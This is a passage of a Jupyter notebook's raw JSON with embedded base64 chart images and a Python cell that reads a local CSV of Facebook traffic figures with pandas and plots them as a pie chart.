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\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB3.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats)\n", + "\n", + "#get x list\n", + "x = list(df.iloc[:, 0])\n", + "#get y list\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "#concatenate x + y\n", + "z = [x[0]+\" (26.1)Billion\",x[1]+\" (25.5)Billion\", x[2]+\" (25.3)Billion\",x[3]+\" (23.1)Billion\",x[4]+\" (20.3)Billion\"]\n", + "\n", + "#plotting the bars\n", + "#plt.title(\"Facebook.com monthly traffic\") #select a title for bar\n", + "\n", + "plt.figure(figsize=(10,7))\n", + "plt.pie(y, labels = z)\n", + "plt.show()" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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